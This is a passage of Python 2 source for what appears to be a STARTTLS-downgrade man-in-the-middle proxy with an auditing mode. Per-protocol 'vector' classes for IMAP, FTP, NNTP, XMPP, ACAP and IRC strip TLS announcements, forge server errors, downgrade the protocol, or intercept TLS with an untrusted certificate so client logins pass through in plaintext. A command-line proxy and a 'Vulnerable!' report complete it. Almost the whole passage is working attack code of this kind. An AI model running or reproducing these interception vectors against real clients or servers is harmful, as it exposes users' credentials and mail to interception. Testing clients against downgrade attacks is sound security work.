STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif " LOGIN " in data: rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if data.strip().lower().endswith("starttls"): id = data.split(' ',1)[0].strip() session.inbound.sendall("%s BAD unknown command\r\n"%id) logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%s BAD unknown command\r\n"%id))) data=None elif " LOGIN " in data: rewrite.set_result(session, True) return data class ProtocolDowngradeToV2: ''' Return IMAP2 instead of IMAP4 in initial server response ''' @staticmethod def mangle_server_data(session, data, rewrite): if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")): session.inbound.sendall("OK IMAP2 Server Ready\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n"))) data=None return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if data.strip().lower().endswith("starttls"): id = data.split(' ',1)[0].strip() # do inbound STARTTLS session.inbound.sendall("%s OK Begin TLS negotation now\r\n"%id) logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_CERTFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "%s OK"%id not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif " LOGIN " in data: rewrite.set_result(session, True) return data class FTP: _PROTO_ID = 21 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce AUTH TLS support 2) raise exception if client tries to negotiated AUTH TLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if session.outbound.sndbuf.strip().lower()=="feat" \ and "AUTH TLS" in data: features = (f for f in data.strip().split('\n') if not "AUTH TLS" in f) data = '\n'.join(features)+"\r\n" return data @staticmethod def mangle_client_data(session, data, rewrite): if "AUTH TLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif "USER " in data: rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending AUTH TLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "AUTH TLS" in data: session.inbound.sendall("500 AUTH TLS not understood\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("500 AUTH TLS not understood\r\n"))) data=None elif "USER " in data: rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "AUTH TLS" in data: # do inbound STARTTLS session.inbound.sendall("234 OK Begin TLS negotation now\r\n") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith("234"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "USER " in data: rewrite.set_result(session, True) return data class NNTP: _PROTO_ID = 119 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if session.outbound.sndbuf.strip().lower()=="capabilities" \ and "STARTTLS" in data: features = (f for f in data.strip().split('\n') if not "STARTTLS" in f) data = '\n'.join(features)+"\r\n" return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif "GROUP " in data: rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: session.inbound.sendall("502 Command unavailable\r\n") # or 580 Can not initiate TLS negotiation logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Command unavailable\r\n"))) data=None elif "GROUP " in data: rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS session.inbound.sendall("382 Continue with TLS negotiation\r\n") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith("382"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "GROUP " in data: rewrite.set_result(session, True) return data class XMPP: _PROTO_ID = 5222 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if "<starttls" in data: start = data.index("<starttls") end = data.index("</starttls>",start)+len("</starttls>") data = data[:start] + data[end:] # strip starttls from capabilities return data @staticmethod def mangle_client_data(session, data, rewrite): if "<starttls" in data: # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/> #<failure/> or <proceed/> raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) #session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone #data=None elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")): rewrite.set_result(session, True) return data class StripInboundTLS: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) If starttls is required outbound, leave inbound connection plain - outbound starttls ''' @staticmethod def mangle_server_data(session, data, rewrite): if "<starttls" in data: start = data.index("<starttls") end = data.index("</starttls>",start)+len("</starttls>") starttls_args = data[start:end] data = data[:start] + data[end:] # strip inbound starttls if "required" in starttls_args: # do outbound starttls as required by server session.outbound.sendall("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") logger.debug("%s [client] => [server][mangled] %s"%(session,repr("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"))) resp_data = session.outbound.recv_blocked() if not resp_data.startswith("<proceed "): raise ProtocolViolationException("whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() return data @staticmethod def mangle_client_data(session, data, rewrite): if "<starttls" in data: # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/> #<failure/> or <proceed/> raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) #session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone #data=None elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")): rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "<starttls " in data: # do inbound STARTTLS session.inbound.sendall("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith("<proceed "): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "</auth>" in data: rewrite.set_result(session, True) return data class ACAP: #rfc2244, rfc2595 _PROTO_ID = 675 _REX_CAP = re.compile(r"\(([^\)]+)\)") class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if all(kw in data for kw in ("ACAP","STARTTLS")): features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses data = ' '.join("(%s)"%f for f in features if not "STARTTLS" in f) return data @staticmethod def mangle_client_data(session, data, rewrite): if " STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif " AUTHENTICATE " in data: rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if " STARTTLS" in data: id = data.split(' ',1)[0].strip() session.inbound.sendall('%s BAD "command unknown or arguments invalid"'%id) # or 580 Can not initiate TLS negotiation logger.debug("%s [client] <= [server][mangled] %s"%(session,repr('%s BAD "command unknown or arguments invalid"'%id))) data=None elif " AUTHENTICATE " in data: rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if " STARTTLS" in data: # do inbound STARTTLS id = data.split(' ',1)[0].strip() session.inbound.sendall('%s OK "Begin TLS negotiation now"'%id) logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr('%s OK "Begin TLS negotiation now"'%id))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not " OK " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif " AUTHENTICATE " in data: rewrite.set_result(session, True) return data class IRC: #rfc2244, rfc2595 _PROTO_ID = 6667 _REX_CAP = re.compile(r"\(([^\)]+)\)") _IDENT_PORT = 113 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if all(kw.lower() in data.lower() for kw in (" cap "," tls")): mangled = [] for line in data.split("\n"): if all(kw.lower() in line.lower() for kw in (" cap "," tls")): # can be CAP LS or CAP ACK/NACK if " ack " in data.lower(): line = line.replace("ACK","NAK").replace("ack","nak") else: #ls features = line.split(" ") line = ' '.join(f for f in features if not 'tls' in f.lower()) mangled.append(line) data = "\n".join(mangled) elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) #elif all(kw.lower() in data.lower() for kw in ("cap req","tls")): # # mangle CAPABILITY REQUEST # if ":" in data: # cmd, caps = data.split(":") # caps = (c for c in caps.split(" ") if not "tls" in c.lower()) # data="%s:%s"%(cmd,' '.join(caps)) elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: params = {'srv':'this.server.com', 'nickname': '*', 'cmd': 'STARTTLS' } # if we're lucky we can extract the username from a prev. server line prev_response = session.outbound.recvbuf.strip() if prev_response: fields = prev_response.split(" ") try: params['srv'] = fields[0] params['nickname'] = fields[2] except IndexError: pass session.inbound.sendall("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params) logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params))) data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class StripWithNotRegistered: ''' 1) force server wrong state on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: params = {'srv':'this.server.com', 'nickname': '*', 'cmd': 'You have not registered' } # if we're lucky we can extract the username from a prev. server line prev_response = session.outbound.recvbuf.strip() if prev_response: fields = prev_response.split(" ") try: params['srv'] = fields[0] params['nickname'] = fields[2] except IndexError: pass session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params) logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params))) data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class StripCAPWithNotRegistered: ''' 1) force server wrong state on client sending CAP LS ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data @staticmethod def mangle_client_data(session, data, rewrite): if "CAP LS" in data: params = {'srv':'this.server.com', 'nickname': '*', 'cmd': 'You have not registered' } # if we're lucky we can extract the username from a prev. server line prev_response = session.outbound.recvbuf.strip() if prev_response: fields = prev_response.split(" ") try: params['srv'] = fields[0] params['nickname'] = fields[2] except IndexError: pass session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params) logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params))) data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class StripWithSilentDrop: ''' 1) silently drop starttls command ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): if " ident " in data.lower(): #TODO: proxy ident pass elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS params = {'srv':'this.server.com', 'nickname': '*', 'cmd': 'STARTTLS' } # if we're lucky we can extract the username from a prev. server line prev_response = session.outbound.recvbuf.strip() if prev_response: fields = prev_response.split(" ") try: params['srv'] = fields[0] params['nickname'] = fields[2] except IndexError: pass session.inbound.sendall(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params) logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not " 670 " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): rewrite.set_result(session, True) return data class RewriteDispatcher(object): def __init__(self, generic_tls_intercept=False): self.vectors = {} # proto:[vectors] self.results = [] # [ {session,client_ip,mangle,result}, } self.session_to_mangle = {} # session:mangle self.generic_tls_intercept = generic_tls_intercept def __repr__(self): return "<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>"%(self.generic_tls_intercept, repr(self.vectors)) def get_results(self): return self.results def get_results_by_clients(self): results = {} #client:{mangle:result} for r in self.get_results(): client = r['client'] results.setdefault(client,[]) mangle = r['mangle'] result = r['result'] results[client].append((mangle,result)) return results def get_result(self, session): for r in self.get_results(): if r['session']==session: return r return None def set_result(self, session, value): r = self.get_result(session) r['result'] = value def add(self, proto, attack): self.vectors.setdefault(proto,set([])) self.vectors[proto].add(attack) def get_mangle(self, session): ''' smart select mangle return same mangle for same session return different for different session try to use all mangles for same client-ip ''' # 1) session already has a mangle associated to it mangle = self.session_to_mangle.get(session) if mangle: return mangle # 2) pick new mangle (round-robin) per client # client_ip = session.inbound.peer[0] client_mangle_history = [r for r in self.get_results() if r['client']==client_ip] all_mangles = list(self.get_mangles(session.protocol.protocol_id)) if not all_mangles: return None new_index = 0 if client_mangle_history: previous_result = client_mangle_history[-1] new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles) mangle = all_mangles[new_index] self.results.append({'client':client_ip, 'session':session, 'mangle':mangle, 'result':None}) #mangle = iter(self.get_mangles(session.protocol.protocol_id)).next() logger.debug("<RewriteDispatcher - changed mangle: %s new: %s>"%(mangle,"False" if len(client_mangle_history)>len(all_mangles) else "True")) self.session_to_mangle[session] = mangle return mangle def get_mangles(self, proto): m = self.vectors.get(proto,set([])) m.update(self.vectors.get(None,[])) return m def mangle_server_data(self, session, data): data_orig = data logger.debug("%s [client] <= [server] %s"%(session,repr(data))) if self.get_mangle(session): data = self.get_mangle(session).mangle_server_data(session, data, self) if data!=data_orig: logger.debug("%s [client] <= [server][mangled] %s"%(session,repr(data))) return data def mangle_client_data(self, session, data): data_orig = data logger.debug("%s [client] => [server] %s"%(session,repr(data))) if self.get_mangle(session): #TODO: just use the first one for now data = self.get_mangle(session).mangle_client_data(session, data, self) if data!=data_orig: logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data))) return data def on_recv_peek(self, s_in, session): if self.generic_tls_intercept: # forced by cmdline-option return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in) elif hasattr(self.get_mangle(session), "on_recv_peek"): return self.get_mangle(session).on_recv_peek(session, s_in) def main(): from optparse import OptionParser ret = 0 usage = """usage: %prog [options] example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25 """ parser = OptionParser(usage=usage) parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="be quiet [default: %default]") parser.add_option("-l", "--listen", dest="listen", help="listen ip:port [default: 0.0.0.0:<remote_port>]") parser.add_option("-r", "--remote", dest="remote", help="remote target ip:port to forward sessions to") parser.add_option("-k", "--key", dest="key", default="server.pem", help="SSL Certificate and Private key file to use, PEM format assumed [default: %default]") parser.add_option("-s", "--generic-ssl-intercept", action="store_true", dest="generic_tls_intercept", default=False, help="dynamically intercept SSL/TLS") parser.add_option("-b", "--bufsiz", dest="buffer_size", type="int", default=4096) all_vectors = [] for proto in (v for v in dir(Vectors) if not v.startswith("_")): for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith("_")): all_vectors.append("%s.%s"%(proto,test)) parser.add_option("-x", "--vectors", default="ALL", help="Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: "+", ".join(all_vectors)+"" " [default: %default]") # parse args (options, args) = parser.parse_args() # normalize args if not options.verbose: logger.setLevel(logging.INFO) if not options.remote: parser.error("mandatory option: remote") if ":" not in options.remote and ":" in options.listen: # no port in remote, but there is one in listen. use this one options.remote = (options.remote.strip(), int(options.listen.strip().split(":")[1])) logger.warning("no remote port specified - falling back to %s:%d (listen port)"%options.remote) elif ":" in options.remote: options.remote = options.remote.strip().split(":") options.remote = (options.remote[0], int(options.remote[1])) else: parser.error("neither remote nor listen is in the format <host>:<port>") if not options.listen: logger.warning("no listen port specified - falling back to 0.0.0.0:%d (remote port)"%options.remote[1]) options.listen = ("0.0.0.0",options.remote[1]) elif ":" in options.listen: options.listen = options.listen.strip().split(":") options.listen = (options.listen[0], int(options.listen[1])) else: options.listen = (options.listen.strip(), options.remote[1]) logger.warning("no listen port specified - falling back to %s:%d (remote port)"%options.listen) options.vectors = [o.strip() for o in options.vectors.strip().split(",")] if 'ALL' in (v.upper() for v in options.vectors): options.vectors = all_vectors elif 'NONE' in (v.upper() for v in options.vectors): options.vectors = [] Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key # ---- start up engines ---- prx = ProxyServer(listen=options.listen, target=options.remote, buffer_size=options.buffer_size, delay=0.00001) logger.info("%s ready."%prx) rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept) for classname in options.vectors: try: proto, vector = classname.split('.',1) cls_proto = getattr(globals().get("Vectors"),proto) cls_vector = getattr(cls_proto, vector) rewrite.add(cls_proto._PROTO_ID, cls_vector) logger.debug("* added vector (port:%-5s, proto:%8s): %s"%(cls_proto._PROTO_ID, proto, repr(cls_vector))) except Exception, e: logger.error("* error - failed to add: %s"%classname) parser.error("invalid vector: %s"%classname) logging.info(repr(rewrite)) prx.set_callback("mangle_server_data", rewrite.mangle_server_data) prx.set_callback("mangle_client_data", rewrite.mangle_client_data) prx.set_callback("on_recv_peek", rewrite.on_recv_peek) try: prx.main_loop() except KeyboardInterrupt: logger.warning( "Ctrl C - Stopping server") ret+=1 logger.info(" -- audit results --") for client,resultlist in rewrite.get_results_by_clients().iteritems(): logger.info("[*] client: %s"%client) for mangle, result in resultlist: logger.info(" [%-11s] %s"%("Vulnerable!" if result else " ",repr(mangle))) sys.exit(ret) if __name__ == '__main__': main()


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